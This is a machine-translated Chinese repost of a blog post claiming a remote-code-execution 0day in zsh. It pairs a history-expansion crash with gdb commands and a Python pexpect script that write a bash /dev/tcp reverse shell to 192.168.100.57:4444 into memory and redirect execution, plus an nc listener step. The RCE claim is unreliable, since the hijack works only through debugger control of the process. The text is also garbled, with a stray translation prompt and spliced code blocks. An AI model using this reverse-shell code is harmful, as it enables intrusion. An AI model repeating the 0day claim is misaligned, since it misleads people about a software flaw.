我的写作 (0day in Zsh (RCE))

发布: (2025年12月20日 GMT+8 12:49)
6 min read
原文: Dev.to

Source: Dev.to

请提供您希望翻译的正文内容(包括标题、段落、列表等),我将按照要求保留源链接、Markdown 语法和技术术语,仅翻译文本部分为简体中文。谢谢!

利用概述

作者: Rana M. Sinan Adil (又名 livepwn)
年龄: 17

工作原理

我有两台笔记本电脑,lp1lp2

  1. 我在 lp1 上运行漏洞利用程序,将 IP 地址更改为 lp2 的地址。
  2. 我在 lp2 上启动 Netcat 监听器。
  3. 该漏洞利用程序在 lp1 上给我一个可以从 lp2 访问的 shell。

初步发现

zsh shell 中实验时,我发现了历史展开运算符 !!

  • !!11111zsh: no such word in event
  • !!11111111111 导致 shell 崩溃。

调试崩溃

我使用 gdb(配合 pwndbg 扩展)调查了崩溃,以确认错误出在 zsh 本身,而不是任何 oh‑my‑zsh 脚本。

gdb zsh -f               # start gdb with pwndbg
(gdb) run -f
(gdb) !!11111111111
  • 在 gdb 中,命令输出 zsh: event not found 0
  • 再尝试几次后,我得到了一个 段错误,其信息类似于:
movsx r9, word ptr [r8 + rsi*2]  ; read from invalid memory at 0x5555555a1331

这表明已经成功触发了历史替换解析器中的整数溢出内存破坏漏洞。

利用之旅

进一步分析表明,我可以劫持三个关键寄存器:

  • RIP – 指令指针
  • RDI – 第一个参数寄存器(用于指向我们的负载的指针)
  • RSP – 栈指针

我最终将 RIP 重定向到类似 system() 的函数。

内存分析与有效载荷注入

使用 gdb 我识别出了一个可写的有效载荷区域:

0x555555659000   ; chosen injection point
(gdb) info proc mappings               # list memory regions
(gdb) set {char[120]} 0x555555659000 = "bash -c \"bash -i >& /dev/tcp/IP/PORT 0>&1\""

上述操作将反向 shell 命令写入目标地址。

栈指针舞蹈

为了让程序返回到我们注入的代码,我对栈进行了操作:

# Overwrite a saved return address with a libc “system‑like” address
(gdb) set {long}0x7fffffffd868 = 0x7ffff7cc9110

# Point RDI to our shellcode
(gdb) set $rdi = 0x555555659000

# Create space for a fake return address
(gdb) set $rsp = $rsp - 8
  • $rsp 是告诉 CPU 当前栈帧结束位置的“书签”。
  • 减去 8 字节会创建一个新的槽位,我们可以在其中放置伪造的返回地址。

最终执行劫持

在前面的步骤之后,程序仍然因为执行路径不完整而出现段错误。我完成了设置:

# Store a final fake return address
(gdb) set {long}$rsp = 0x55555555a000

# Redirect RIP to the libc `system`‑like function
(gdb) set $rip = 0x7ffff7cc9110   #  run -f
username% !              # any command, just to generate a history entry
username% !!11111111111  # trigger the crash
pwndbg> p system         # prints the address of `system` in libc

将 exploit 中的地址 0x7ffff7cc9110 替换为 p system 打印出的值。

利用代码 (Python + pexpect)

更多细节请参见 GitHub 仓库:

import pexpect
import sys
import time

def debug_print(msg):
    print(f"[DEBUG] {msg}")

def return_to_gdb(gdb, max_attempts=3, timeout=3):
    """更可靠的返回 GDB 提示符的函数。"""
    debug_print("Attempting to return to GDB…")
    for attempt in range(max_attempts):
        gdb.sendintr()                 # 发送 CTRL+C
        time.sleep(0.5)
        try:
            index = gdb.expect([b'pwndbg>', b'\(gdb\)', pexpect.TIMEOUT],
                               timeout=timeout)
            if index in [0, 1]:       # 找到 pwndbg> 或 (gdb) 提示符
                debug_print("Successfully returned to GDB")
                return True
        except pexpect.EOF:
            debug_print("Session ended unexpectedly")
            return False

        debug_print(f"Attempt {attempt + 1} failed, retrying…")

    debug_print("Failed to return to GDB after maximum attempts")
    return False

# 启动 gdb 并使用 consistent bytes 模式
gdb = pexpect.spawn('gdb -args zsh -f', timeout=30, encoding=None)
gdb.logfile = sys.stdout.buffer
debug_print("Starting GDB with zsh -f…")

try:
    gdb.expect(b'pwndbg>', timeout=10)
    debug_print("GDB started successfully")
except (pexpect.EOF, pexpect.TIMEOUT) as e:
    debug_print(f"GDB failed to start: {str(e)}")
    sys.exit(1)

# 运行 zsh 并处理 shell
debug_print("Running zsh…")
gdb.sendline(b'run')
# ... (rest of the exploit script continues here)

脚本在后面继续使用与上面 gdb 会话中相同的寄存器操作步骤。


祝您玩得开心!

清理后的 Markdown 内容

# Prompt definitions
shell_prompts = [b'% ', b'# ', b'\$ ', b'vuln>', b'vuln% ']

try:
    # Wait for a shell prompt or pwndbg prompt
    gdb.expect(shell_prompts + [b'pwndbg>'], timeout=10)
    debug_print("Shell started successfully")
except pexpect.TIMEOUT:
    debug_print("Timeout waiting for shell")
    gdb.sendintr()
    time.sleep(1)

# ----------------------------------------------------------------------
# Shell command execution
# ----------------------------------------------------------------------
if any(prompt in gdb.after for prompt in shell_prompts):
    for cmd in [b'!', b'!!11111111111']:
        debug_print(f"Sending: {cmd.decode('utf-8', errors='replace')}")
        gdb.sendline(cmd)
        try:
            gdb.expect(shell_prompts, timeout=3)
            debug_print("Command executed")
        except pexpect.TIMEOUT:
            debug_print("No response from command")

# Use the new return_to_gdb function
if not return_to_gdb(gdb):
    debug_print("Critical error - couldn't return to GDB")
    sys.exit(1)

# ----------------------------------------------------------------------
# Memory operations – simplified and more reliable
# ----------------------------------------------------------------------
if b'pwndbg>' in gdb.after:
    mem_commands = [
        b'x/s 0x555555659000',
        b'set {char[120]} 0x555555659000 = "bash -c \\"bash -i >& /dev/tcp/192.168.100.57/4444 0>&1\\""',
        b'set {long}0x7fffffffd868 = 0x7ffff7cc9110',
        b'set $rdi = 0x555555659000',
        b'set $rsp = $rsp - 8',
        b'continue',
        b'set {long}$rsp = 0x55555555a000',
        b'set $rip = 0x7ffff7cc9110',
        b'set $rdi = 0x555555659000',
        b'continue'
    ]

    for cmd in mem_commands:
        debug_print(f"Executing: {cmd.decode('utf-8', errors='replace')}")
        gdb.sendline(cmd)
        try:
            if b'continue' in cmd:
                gdb.expect([b'pwndbg>'] + shell_prompts, timeout=15)
            else:
                gdb.expect(b'pwndbg>', timeout=5)
        except pexpect.TIMEOUT:
            debug_print("Timeout - attempting to recover…")
            if not return_to_gdb(gdb):
                debug_print("Failed to recover after timeout")
                break

# ----------------------------------------------------------------------
# Final interactive mode
# ----------------------------------------------------------------------
debug_print("Complete - entering interactive")
try:
    gdb.logfile = None
    gdb.interact()
except Exception as e:
    debug_print(f"Interactive error: {str(e)}")
finally:
    gdb.close()

如何运行

  1. 在攻击者机器上启动 Netcat 监听器

    nc -lnvp 4444
  2. 在目标机器上执行脚本(上面的代码)。


感谢你们的一切,黑客们。祝你们在网络安全领域的职业生涯一帆风顺。

Back to Blog

相关文章

阅读更多 »

仓库利用的权威指南

引言 仓库本质上只是一个 3‑D 盒子。利用率只是衡量你实际使用了该盒子多少的指标。虽然物流 c...